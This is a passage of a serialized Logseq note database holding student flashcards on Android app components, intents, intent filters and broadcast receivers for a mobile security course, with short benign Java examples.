receiveslogseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Flogseq____",76,536870916]],[logseq____"^15logseq____",[83,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[83,logseq____"^Vlogseq____",76,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[83,logseq____"^Hlogseq____",75,536873236]],[logseq____"^15logseq____",[83,logseq____"^;logseq____",logseq____"~u67b83fab-0343-4963-8e6d-f4f3e985cc37logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Qlogseq____",logseq____"Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Flogseq____",87,536870916]],[logseq____"^15logseq____",[84,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[84,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[84,logseq____"^Hlogseq____",78,536873236]],[logseq____"^15logseq____",[84,logseq____"^;logseq____",logseq____"~u67b83fab-0b5d-46a6-9fcd-e09676b8135clogseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Qlogseq____",logseq____"### Exportedlogseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Flogseq____",90,536870916]],[logseq____"^15logseq____",[85,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[85,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[85,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873236]],[logseq____"^15logseq____",[85,logseq____"^Jlogseq____",[],536873236]],[logseq____"^15logseq____",[85,logseq____"^;logseq____",logseq____"~u67b83fab-b6b4-45f9-b63f-912fb07b8e00logseq____",536870916]],[logseq____"^15logseq____",[86,logseq____"^Qlogseq____",logseq____"components ([[Activity]], [BroadcastReceiver]([[Broadcast Receiver]]) etc.)logseq____",536873236]],[logseq____"^15logseq____",[86,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[86,logseq____"^Flogseq____",88,536870916]],[logseq____"^15logseq____",[86,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[86,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",74,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",410,536873236]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",411,536873236]],[logseq____"^15logseq____",[86,logseq____"^Hlogseq____",410,536873236]],[logseq____"^15logseq____",[86,logseq____"^Hlogseq____",411,536873236]],[logseq____"^15logseq____",[86,logseq____"^;logseq____",logseq____"~u67b83fab-f491-470d-b484-74282d4e99a0logseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Qlogseq____",logseq____"Otherwise, it can only be invoked by components of the same app or a privileged system componentlogseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Flogseq____",81,536870916]],[logseq____"^15logseq____",[87,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[87,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[87,logseq____"^;logseq____",logseq____"~u67b83fab-02e6-4434-bd2b-7d2d62af330elogseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Qlogseq____",logseq____"application meta-data (Launcher Icon, name)logseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Flogseq____",79,536870916]],[logseq____"^15logseq____",[88,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[88,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[88,logseq____"^;logseq____",logseq____"~u67b83fab-9493-4ffb-bb41-6815271ded6dlogseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Qlogseq____",logseq____"If needed, apps can *query* other packages via their explicit name or declare ((6717978c-801a-4383-b970-cffcfbb13343)) that they want to subscribe tologseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Flogseq____",77,536870916]],[logseq____"^15logseq____",[89,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[89,logseq____"^Vlogseq____",92,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[89,logseq____"^Hlogseq____",76,536873236]],[logseq____"^15logseq____",[89,logseq____"^;logseq____",logseq____"~u67b83fab-7d40-45e3-afe9-d3144bf1adb7logseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Qlogseq____",logseq____"## Components #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Flogseq____",79,536870916]],[logseq____"^15logseq____",[90,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^Vlogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873236]],[logseq____"^15logseq____",[90,logseq____"^Jlogseq____",[],536873236]],[logseq____"^15logseq____",[90,logseq____"^Hlogseq____",2,536873236]],[logseq____"^15logseq____",[90,logseq____"^Hlogseq____",24,536873236]],[logseq____"^15logseq____",[90,logseq____"^;logseq____",logseq____"~u67b83fab-70d9-40db-900e-f07703ba09adlogseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Qlogseq____",logseq____"indicates which apps and components can *call/start this component*logseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Flogseq____",85,536870916]],[logseq____"^15logseq____",[91,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[91,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[91,logseq____"^;logseq____",logseq____"~u67b83fab-2106-48ee-8347-e47de5275460logseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Qlogseq____",logseq____"### Query packages / intent filterslogseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Flogseq____",76,536870916]],[logseq____"^15logseq____",[92,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[92,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[92,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873236]],[logseq____"^15logseq____",[92,logseq____"^Jlogseq____",[],536873236]],[logseq____"^15logseq____",[92,logseq____"^;logseq____",logseq____"~u67b83fab-2ec4-4387-8c76-186f1424173clogseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Qlogseq____",logseq____"1. Activity A creates an [[Intent Messages]] with an action description and passes it to `startActivity()`logseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Flogseq____",129,536870916]],[logseq____"^15logseq____",[109,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[109,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[109,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[109,logseq____"^Hlogseq____",75,536873239]],[logseq____"^15logseq____",[109,logseq____"^;logseq____",logseq____"~u67b83fab-66c5-4aea-8653-d6605fbc7e29logseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Qlogseq____",logseq____"Open a link in the users preferred browserlogseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Flogseq____",460,536873239]],[logseq____"^15logseq____",[110,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[110,logseq____"^Vlogseq____",460,536873239]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[110,logseq____"^;logseq____",logseq____"~u67b83fab-46fa-4b29-b8e2-2a9ad0bf9bdelogseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Qlogseq____",logseq____"Can be set explicitly or implicitlylogseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Flogseq____",124,536870916]],[logseq____"^15logseq____",[111,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[111,logseq____"^Vlogseq____",124,536870916]],[logseq____"^15logseq____",[111,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[111,logseq____"^;logseq____",logseq____"~u67b83fab-ff71-4965-ae2b-71ed2fac6951logseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Qlogseq____",logseq____"### Explicit #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Flogseq____",111,536870916]],[logseq____"^15logseq____",[112,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[112,logseq____"^Vlogseq____",111,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[112,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873239]],[logseq____"^15logseq____",[112,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[112,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[112,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[112,logseq____"^;logseq____",logseq____"~u67b83fab-f86f-4eca-ab35-108b831cdf82logseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Flogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[113,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[113,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[113,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[113,logseq____"^;logseq____",logseq____"~u67b83fab-63ea-49e3-86ed-708ada25dec6logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(this, MainActivity.class);\\nstartActivity(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Flogseq____",116,536870916]],[logseq____"^15logseq____",[114,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[114,logseq____"^Vlogseq____",115,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[114,logseq____"^;logseq____",logseq____"~u67b83fab-9803-435c-8891-85ac1e5ec334logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Qlogseq____",logseq____"Example:logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Flogseq____",121,536870916]],[logseq____"^15logseq____",[115,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[115,logseq____"^Vlogseq____",112,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[115,logseq____"^;logseq____",logseq____"~u67b83fab-a335-44b9-83ab-c3266a39e7b4logseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Qlogseq____",logseq____"Start `MainActivity` component within the same packagelogseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Flogseq____",115,536870916]],[logseq____"^15logseq____",[116,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[116,logseq____"^Vlogseq____",115,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[116,logseq____"^;logseq____",logseq____"~u67b83fab-befe-4d3b-9c43-55dd83d403ddlogseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(Intent.ACTION_VIEW);\\nintent.setData(Uri.parse(\\logseq____"https://google.com\\logseq____"));\\nactivity.startActivity(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Flogseq____",110,536870916]],[logseq____"^15logseq____",[117,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[117,logseq____"^Vlogseq____",460,536873239]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[117,logseq____"^;logseq____",logseq____"~u67b83fab-e68b-4717-9704-e11fce1de302logseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Qlogseq____",logseq____"2. The Android system searches all apps for an intent filter that matches the intentlogseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Flogseq____",109,536870916]],[logseq____"^15logseq____",[118,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[118,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[118,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[118,logseq____"^;logseq____",logseq____"~u67b83fab-73d7-4add-9a2d-90240d2dd0eflogseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Qlogseq____",logseq____"## Examplelogseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Flogseq____",464,536873239]],[logseq____"^15logseq____",[119,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[119,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[119,logseq____"^;logseq____",logseq____"~u67b83fab-ad5e-45eb-80d3-6a79156b4492logseq____",536870916]],[logseq____"^15logseq____",[120,logseq____"^Qlogseq____",logseq____"May be abused by attackers to start unintended componentslogseq____",536873239]],[logseq____"^15logseq____",[120,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[120,logseq____"^Flogseq____",125,536870916]],[logseq____"^15logseq____",[120,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[120,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[120,logseq____"^;logseq____",logseq____"~u67b83fab-195a-425e-88eb-9cce97826172logseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Qlogseq____",logseq____"Specify the target component namelogseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Flogseq____",112,536870916]],[logseq____"^15logseq____",[121,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[121,logseq____"^Vlogseq____",112,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[121,logseq____"^;logseq____",logseq____"~u67b83fab-9bc9-4a63-b7f2-ebec0ce0e95clogseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Qlogseq____",logseq____"Specify some `Action String`, `Category` and `Data`logseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Flogseq____",123,536870916]],[logseq____"^15logseq____",[122,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[122,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[122,logseq____"^;logseq____",logseq____"~u67b83fab-9a4d-41fc-822a-3c5fe7d8812clogseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Qlogseq____",logseq____"### Implicit #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Flogseq____",112,536870916]],[logseq____"^15logseq____",[123,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[123,logseq____"^Vlogseq____",111,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[123,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873239]],[logseq____"^15logseq____",[123,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[123,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[123,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[123,logseq____"^;logseq____",logseq____"~u67b83fab-8d93-4973-ad1c-e3040cdf585clogseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Qlogseq____",logseq____"## Receiver Componentslogseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Flogseq____",113,536870916]],[logseq____"^15logseq____",[124,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[124,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[124,logseq____"^;logseq____",logseq____"~u67b83fab-5d67-46bb-b460-e6a2c39a1250logseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Qlogseq____",logseq____"Android will find a suitable receiverlogseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Flogseq____",122,536870916]],[logseq____"^15logseq____",[125,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[125,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[125,logseq____"^;logseq____",logseq____"~u67b83fab-184e-421f-8fb7-eb3b981cf767logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Qlogseq____",logseq____"Are sent and received by applications (can also be sent to components of different apps)logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Flogseq____",130,536870916]],[logseq____"^15logseq____",[126,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[126,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[126,logseq____"^;logseq____",logseq____"~u67b83fab-1951-49cf-9e3e-df1332388777logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Qlogseq____",logseq____"3. When a match is found it starts the matching activity (Activity B) by invoking its `onCreate()` method and passing it the [[Intent Messages]]logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Flogseq____",118,536870916]],[logseq____"^15logseq____",[127,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[127,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[127,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[127,logseq____"^Hlogseq____",75,536873239]],[logseq____"^15logseq____",[127,logseq____"^;logseq____",logseq____"~u67b83fab-fd74-4d18-ab64-d8053b860979logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Qlogseq____",logseq____"Transmitted via *binder-based IPC*logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Flogseq____",126,536870916]],[logseq____"^15logseq____",[128,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[128,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[128,logseq____"^;logseq____",logseq____"~u67b83fab-e648-4bf6-acd8-4ffeda5c9ef2logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Flogseq____",119,536870916]],[logseq____"^15logseq____",[129,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[129,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[129,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[129,logseq____"^;logseq____",logseq____"~u67b83fab-36f7-4754-b268-869f00fbf4a1logseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Qlogseq____",logseq____"Intent message as data object representing an intend to do somethinglogseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Flogseq____",113,536870916]],[logseq____"^15logseq____",[130,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[130,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[130,logseq____"^;logseq____",logseq____"~u67b83fab-c855-4300-8a3a-72e638916196logseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^Klogseq____",1740128172005,536870916]],[logseq____"^15logseq____",[132,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[132,logseq____"^Ylogseq____",logseq____"organizationlogseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^11logseq____",logseq____"Organizationlogseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^Blogseq____",1740128172005,536870916]],[logseq____"^15logseq____",[132,logseq____"^;logseq____",logseq____"~u67b83fac-44a5-4484-ab1c-06086d8510delogseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Qlogseq____",logseq____"Security of mobile platforms and ecosystemslogseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Flogseq____",141,536870916]],[logseq____"^15logseq____",[133,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[133,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[133,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[133,logseq____"^;logseq____",logseq____"~u67b83fac-b5fc-4605-b71f-6278a6c0bb36logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Qlogseq____",logseq____"Retake: `27.03.2025`, `10:00-12:00` @`GHH`logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Flogseq____",140,536870916]],[logseq____"^15logseq____",[134,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[134,logseq____"^Vlogseq____",142,536870916]],[logseq____"^15logseq____",[134,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[134,logseq____"^;logseq____",logseq____"~u67b83fac-e184-4146-86e8-5c4ebd9e56felogseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Qlogseq____",logseq____"Some web logseq____& network 